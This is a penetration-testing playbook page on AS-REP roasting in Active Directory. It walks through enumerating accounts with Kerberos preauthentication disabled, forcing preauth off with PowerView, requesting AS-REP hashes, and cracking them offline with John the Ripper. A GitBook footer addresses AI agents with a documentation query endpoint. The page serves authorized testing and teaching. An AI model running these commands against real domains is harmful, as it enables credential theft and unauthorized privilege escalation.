# AS-REP Roast

### Targeted Kerberoasting - AS-REPs

* If a user's UAC setting has preauthentication disabled, then it is possible to grab user's crackable AS-REP (Authentication Service Response) and bruteforce it offline.
* With GenericWrite or GenericAll rights, Kerberos preauth can be forced disabled as well.

Enumerate accounts with Kerberos Preauth disabled:

{% code overflow="wrap" %}

```powershell
# PowerView
Get-DomainUser -PreauthNotRequired -Verbose

# AD module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

{% endcode %}

Force disable Kerberos Preauth and enumerate the permissions for RDPUsers on ACL using PowerView

{% code overflow="wrap" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose

Get-DomainUser -PreauthNotRequired -Verbose
```

{% endcode %}

Request encrypted AS-REP for offline bruteforce.

Let's use ASREPRoast

{% code overflow="wrap" %}

```powershell
Get-ASREPHash -UserName VPN1user -Verbose
```

{% endcode %}

To enumerate all users with Kerberos preauth disabled and request a hash:

```powershell
Invoke-ASREPRoast -Verbose
```

Finally, crack the hashes offline:

{% code overflow="wrap" %}

```
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-
pass.txt C:\AD\Tools\asrephashes.txt
```

{% endcode %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/targeted-kerberoasting/as-rep-roast.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
